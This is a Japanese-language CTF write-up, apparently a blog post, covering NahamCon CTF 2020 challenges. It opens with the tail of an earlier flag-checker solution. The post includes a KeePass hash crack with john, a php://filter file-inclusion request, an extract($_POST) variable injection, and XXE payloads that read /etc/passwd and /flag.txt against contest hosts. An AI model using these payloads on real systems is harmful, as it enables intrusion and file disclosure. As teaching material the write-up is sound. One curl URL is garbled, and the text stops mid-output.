    $FAAyo = str_replace("\12", '', file_get_contents($JrhK3)); 
    goto p5dMS; 

    cmY0H: 
} 
goto tsmPP; 

rCgwE: 
if (!($argc !== 2 || $argv[1] === "--help")) { 
    goto npj3x; 
} 
goto s2urN; 

HqIXQ: 
if (z3Uer($WYrTt[0]) && pkxLr($WYrTt[1])) { 
    goto bNu31; 
} 
goto l9KrJ; 

wOcDP: 
die; 
goto EGqNR; 

zu5hE: 
$WYrTt = explode("@", $argv[1]); 
goto yL5pP; 

tsmPP: 
function PKxlr($ImMRk) { 
    goto Ovh2D; 

    Ovh2D: 
    foreach (str_split($ImMRk) as $NXbA9 => $LW9s3) { 
        goto wixWZ; 

        wixWZ: 
        $LW9s3 = md5($LW9s3); 
        goto ZDD1u; 

        ZDD1u: 
        if (!(["800618943025315f869e4e1f09471012", "7b774effe4a349c6dd82ad4f4f21d34c", "8d9c307cb7f3c4a32822a51922d1ceaa", "b14a7b8059d9c055954c92674ce60032", "92eb5ffee6ae2fec3ad71c777531578f", "7b774effe4a349c6dd82ad4f4f21d34c", "8f14e45fceea167a5a36dedd4bea2543", "b14a7b8059d9c055954c92674ce60032", "7b8b965ad4bca0e41ab51de7b31363a1", "cfcd208495d565ef66e7dff9f98764da", "b14a7b8059d9c055954c92674ce60032", "92eb5ffee6ae2fec3ad71c777531578f", "e1e1d3d40573127e9ee0480caf1283d6", "7b774effe4a349c6dd82ad4f4f21d34c", "b9ece18c950afbfa6b0fdbfa4ff731d3", "800618943025315f869e4e1f09471012", "84c40473414caf2ed4a7b1283e48bbf4", "9371d7a2e3ae86a00aab4771e39d255d", "4b43b0aee35624cd95b910189b3dc231", "0d61f8370cad1d412f80b84d143e1257", "e1671797c52e15f763380b45e841ec32", "e1671797c52e15f763380b45e841ec32", "e1671797c52e15f763380b45e841ec32", "e1671797c52e15f763380b45e841ec32", "e1671797c52e15f763380b45e841ec32", "b14a7b8059d9c055954c92674ce60032", "2db95e8e1a9267b7a1188556b2013b33", "cfcd208495d565ef66e7dff9f98764da", "c4ca4238a0b923820dcc509a6f75849b", "9033e0e305f247c0c3c80d0c7848c8b3"][$NXbA9] !== $LW9s3)) { 
            goto cjeNi; 
        } 
        goto Wq20G; 

        esj_P: 

        W8_V0: 
        goto su1qt; 

        Wq20G: 
        return false; 
        goto y40lA; 

        y40lA: 

        cjeNi: 
        goto esj_P; 

        su1qt: 
    } 
    goto ZbMyy; 

    Nu8WA: 
    return true; 
    goto brx16; 

    ZbMyy: 

    fqhOn: 
    goto Nu8WA; 

    brx16: 
} 
goto HqIXQ; 

IumIK: 

bNu31: 
goto h6FIk; 

N0szu: 
function Ik43N() { 
    return "Usage: \n" . "   php x.php <flag>     Check the flag\n" . "   php x.php --help     Print this message\n"; 
} 
goto rCgwE; 

UUbDK: 

pQRcr:

処理の概要は以下の通り。

・引数が2個でないか、--helpが指定されている場合は、Usageを表示
・$WYrTt: 入力文字列を@で区切った文字列の配列
・z3UeR(@の前の文字列)
 ・$JrhK3 = "https://clbin.com/ISK41";
 ・このファイルの内容を取得、改行を削除
  $FAAyo = "b021b020-4d11-4857-8138-edb2ff753637";★
・pkxLr(@の後ろの文字列)
 ・1文字ずつのmd5の値がコード中の値と一致していることが必要。

@の前は"b021b020-4d11-4857-8138-edb2ff753637"である必要がある。@の後ろはブルートフォースで条件を満たすものを探せる。

from hashlib import md5

hashes = ['800618943025315f869e4e1f09471012', 
    '7b774effe4a349c6dd82ad4f4f21d34c', '8d9c307cb7f3c4a32822a51922d1ceaa', 
    'b14a7b8059d9c055954c92674ce60032', '92eb5ffee6ae2fec3ad71c777531578f', 
    '7b774effe4a349c6dd82ad4f4f21d34c', '8f14e45fceea167a5a36dedd4bea2543', 
    'b14a7b8059d9c055954c92674ce60032', '7b8b965ad4bca0e41ab51de7b31363a1', 
    'cfcd208495d565ef66e7dff9f98764da', 'b14a7b8059d9c055954c92674ce60032', 
    '92eb5ffee6ae2fec3ad71c777531578f', 'e1e1d3d40573127e9ee0480caf1283d6', 
    '7b774effe4a349c6dd82ad4f4f21d34c', 'b9ece18c950afbfa6b0fdbfa4ff731d3', 
    '800618943025315f869e4e1f09471012', '84c40473414caf2ed4a7b1283e48bbf4', 
    '9371d7a2e3ae86a00aab4771e39d255d', '4b43b0aee35624cd95b910189b3dc231', 
    '0d61f8370cad1d412f80b84d143e1257', 'e1671797c52e15f763380b45e841ec32', 
    'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 
    'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 
    'b14a7b8059d9c055954c92674ce60032', '2db95e8e1a9267b7a1188556b2013b33', 
    'cfcd208495d565ef66e7dff9f98764da', 'c4ca4238a0b923820dcc509a6f75849b', 
    '9033e0e305f247c0c3c80d0c7848c8b3']

flag1 = 'b021b020-4d11-4857-8138-edb2ff753637'
flag2 = ''
for h in hashes:
    for code in range(32, 127):
        if md5(chr(code)).hexdigest() == h:
            flag2 += chr(code)
            break

flag = 'we{%s@%s}' % (flag1, flag2)
print flag
we{b021b020-4d11-4857-8138-edb2ff753637@FuN_bu7_n0_bRuTF()rCeeeee_l01!}

NahamCon CTF Writeup

この大会は2020/6/13 0:00(JST)~2020/6/14 7:00(JST)に開催されました。
今回もチームで参戦。結果は3715点で2854チーム中48位でした。
自分で解けた問題をWriteupとして書いておきます。

Easy Keesy (Warmup 30)

$ file easy_keesy 
easy_keesy: Keepass password database 2.x KDBX

Keepassのパスワードをクラックする。

$ keepass2john easy_keesy > hash.txt
$ john --wordlist=dict/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
monkeys          (easy_keesy)
1g 0:00:02:39 DONE (2020-06-13 14:37) 0.006250g/s 3.650p/s 3.650c/s 3.650C/s evelyn..monkeys
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

keepassファイルのパスワードはmonkeys。このパスワードを使って、KeePassのツールで開いてみる。Title: "flag"、User Name: "nahamcon"のパスワードにフラグがあった。
f:id:satou-y:20200619204955p:plain

flag{jtr_found_the_keys_to_kingdom}

Peter Rabbit (Warmup 40)

Pietの画像とわかるので、https://www.bertnase.de/npiet/npiet-execute.phpで実行する。

flag{ohhhpietwastherabbit}flag{ohhhpietwastherabbit}flag{ohhhpietwastherabbit}...
flag{ohhhpietwastherabbit}

Agent 95 (Web 50)

Windows95のUserAgentを指定して、アクセスする。

$ curl -A 'Mozilla/4.0 (compatible; MSIE 4.0; MSN 2.5; Windows 95)' http://jh2i.com:50000/
flag{user_agents_undercover}
<div style="text-align:center">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to Digital Ocean for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/1b5a9739fd31b42fa4eb37ac6b3a6e1c.DOlogo.png">
</p>
</div>
flag{user_agents_undercover}

Localghost (Web 75)

http://jh2i.com:50003/jquery.jscroll2.jsを見てみる。

(function(_0xe943x1) {
    'use strict';
    _0xe943x1['jscroll'] = {
        defaults: {
            debug: false,
            autoTrigger: true,
            autoTriggerUntil: false,
            loadingHtml: '<small>Loading...</small>',
            padding: 0,
            nextSelector: 'a:last',
            contentSelector: '',
            pagingSelector: '',
            callback: false
        }
    };
    window['localStorage']['setItem']('flag', atob('SkNURntzcG9vb29va3lfZ2hvc3RzX2luX3N0b3JhZ2V9'));
    var _0xe943x2 = function(_0xe943x3, _0xe943x4) {
        var _0xe943x5 = _0xe943x3['data']('jscroll'),
            _0xe943x6 = (typeof _0xe943x4 === 'function') ? {
                callback: _0xe943x4
            } : _0xe943x4,

        :

このコード内にあるbase64らしき文字列をデコードする。

$ echo SkNURntzcG9vb29va3lfZ2hvc3RzX2luX3N0b3JhZ2V9 | base64 -d
JCTF{spoooooky_ghosts_in_storage}
JCTF{spoooooky_ghosts_in_storage}

Phphonebook (Web 100)

PHPスキームを使って、phphonebook.phpソースコードを見てみる。

$ curl http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=phphonebook.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>
  <body>
	PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+

$ echo PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+ | base64 -d
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

    	if (isset($emergency)){
    		echo(file_get_contents("/flag.txt"));
    	}
    ?>
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>

emergencyの値を適当にセットして、POSTすればよさそう。

$ curl -X POST -d 'emergency=a' http://jh2i.com:500onebook.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    flag{phon3_numb3r_3xtr4ct3d}
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>
flag{phon3_numb3r_3xtr4ct3d}

Extraterrestrial (Web 125)

aと入れ、Submitすると、Invalid document endになる。xmlで入れる必要があるのかもしれない。

<html></html>

上記を入力したら、以下のように出力された。

array(0) {
}

恐らく、XXEの問題。今度はこう入力してみる。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<content>&xxe;</content>

すると、以下のように出力された。

array(1) {
  ["xxe"]=>
  string(926) "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
"
}

そして、いよいよflag.txtを狙う。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<content>&xxe;</content>

フラグが出力された。

array(1) {
  ["xxe"]=>
  string(38) "flag{extraterrestrial_extra_entities}
"
}
flag{extraterrestrial_extra_entities}

Rotten (Scripting 100)

$ nc jh2i.com 50034
send back this line exactly. no flag here, just filler.
send back this line exactly. no flag here, just filler.
htcs qprz iwxh axct tmprian. rwpgpritg 30 du iwt uapv xh '}'
send back this line exactly. character 30 of the flag is '}'
pbka yxzh qefp ifkb buxzqiv. kl cixd ebob, grpq cfiibo.
send back this line exactly. no flag here, just filler.
lxgw utvd mabl ebgx xqtvmer. gh yetz axkx, cnlm ybeexk.
send back this line exactly. no flag here, just filler.
coxn lkmu drsc vsxo ohkmdvi. mrkbkmdob 19 yp dro pvkq sc 'y'

シーザー暗号を交えて、情報が与えられる。復号した結果を返しながら、フラグを作っていく。

import socket
import string
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def decrypt(s):
    key = string.lowercase.index(s[0]) - string.lowercase.index('s')
    dec = ''
    for c in s:
        if c in string.lowercase:
            index = (string.lowercase.index(c) - key) % 26
            dec += string.lowercase[index]
        else:
            dec += c
    return dec

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('jh2i.com', 50034))

flag_list = ['*'] * 31
while True:
    data = recvuntil(s, '\n').rstrip()
    print data
    pt = decrypt(data)
    print pt
    s.sendall(pt + '\n')
    if 'no flag here' not in pt:
        pattern = 'character (.+) of the flag is \'(.+)\''
        m = re.search(pattern, pt)
        index = int(m.group(1))
        char = m.group(2)
        flag_list[index] = char

    flag = ''.join(flag_list)
    if '*' not in flag:
        break

print flag

実行結果は以下の通り。

          :
gsbr poqy hvwg zwbs sloqhzm. bc tzou vsfs, xigh twzzsf.
send back this line exactly. no flag here, just filler.
wirh fego xlmw pmri ibegxpc. rs jpek livi, nywx jmppiv.
send back this line exactly. no flag here, just filler.
bnwm kjlt cqrb urwn ngjlcuh. wx oujp qnan, sdbc oruuna.
send back this line exactly. no flag here, just filler.
amvl jiks bpqa tqvm mfikbtg. kpizikbmz 5 wn bpm ntio qa 'v'
send back this line exactly. character 5 of the flag is 'n'
fraq onpx guvf yvar rknpgyl. ab synt urer, whfg svyyre.
send back this line exactly. no flag here, just filler.
gsbr poqy hvwg zwbs sloqhzm. qvofoqhsf 6 ct hvs tzou wg 'c'
send back this line exactly. character 6 of the flag is 'o'
gsbr poqy hvwg zwbs sloqhzm. bc tzou vsfs, xigh twzzsf.
send back this line exactly. no flag here, just filler.
yktj hgiq znoy rotk kdgizre. tu lrgm nkxk, payz lorrkx.
send back this line exactly. no flag here, just filler.
gsbr poqy hvwg zwbs sloqhzm. qvofoqhsf 11 ct hvs tzou wg 'i'
send back this line exactly. character 11 of the flag is 'u'
flag{now_you_know_your_caesars}
flag{now_you_know_your_caesars}

Really Powerful Gnomes (Scripting 150)

$ nc jh2i.com 50031

Welcome to Newlandia!!!
Unfortunately, the villagers have become attacked by gnomes.

They need YOU to help take back their land!



What would you like to do?
Gold: 100
Weapon level: 0

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 6

Gold: 100
Weapon level: 0

1. sword (100 gold) (level 1)
2. bow (1000 gold) (level 3)
3. axe (2000 gold) (level 5)
4. missle launcher (10000 gold) (level 7)
5. tank (100000 gold) (level 10)

What would you like to buy? (press 0 to exit the shop): 1

sword bought

What would you like to do?
Gold: 0
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 4 gold

What would you like to do?
Gold: 4
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 13
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 16
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 8 gold

What would you like to do?
Gold: 24
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 4 gold

What would you like to do?
Gold: 28
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 37
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 6 gold

What would you like to do?
Gold: 43
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 46
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 5 gold

What would you like to do?
Gold: 51
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 54
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 63
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 5 gold

What would you like to do?
Gold: 68
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 5 gold

What would you like to do?
Gold: 73
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 2 gold

What would you like to do?
Gold: 75
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 8 gold

What would you like to do?
Gold: 83
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 92
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 2 gold

What would you like to do?
Gold: 94
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 97
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 4 gold

What would you like to do?
Gold: 101
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 110
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 6

Gold: 110
Weapon level: 1

1. sword (100 gold) (level 1)
2. bow (1000 gold) (level 3)
3. axe (2000 gold) (level 5)
4. missle launcher (10000 gold) (level 7)
5. tank (100000 gold) (level 10)

少しずつお金をためながら、レベルの高い武器を手に入れ、レベル10の武器を手に入れ、gnomeを倒せばよさそう。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_info(data):
    pattern = 'Gold: (.+)\nWeapon level: (.+)\n'
    m = re.search(pattern, data)
    return int(m.group(1)), int(m.group(2))

def buy(index):
    print '6'
    s.sendall('6\n')
    data = recvuntil(s, 'shop): ')
    print data + str(index)
    s.sendall(str(index) + '\n')

def get_gold(index):
    print index
    s.sendall(str(index) + '\n')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('jh2i.com', 50031))

while True:
    data = recvuntil(s, '> ')
    print data[:-1],
    gold, level = get_info(data)

    ## buy
    if level < 1 and gold >= 100:
        buy(1)
    elif level < 3 and gold >= 1000:
         buy(2)
    elif level < 5 and gold >= 2000:
        buy(3)
    elif level < 7 and gold >= 10000:
        buy(4)
    elif level < 10 and gold >= 100000:
        buy(5)

    ## get gold
    else:
        if level < 3:
            get_gold(5)
        elif level < 5:
            get_gold(4)
        elif level < 7:
            get_gold(3)
        elif level < 10:
            get_gold(2)
        elif level == 10:
            print 1
            s.sendall('1\n')
            break
    
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

        :
What would you like to do?
Gold: 100000
Weapon level: 7

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

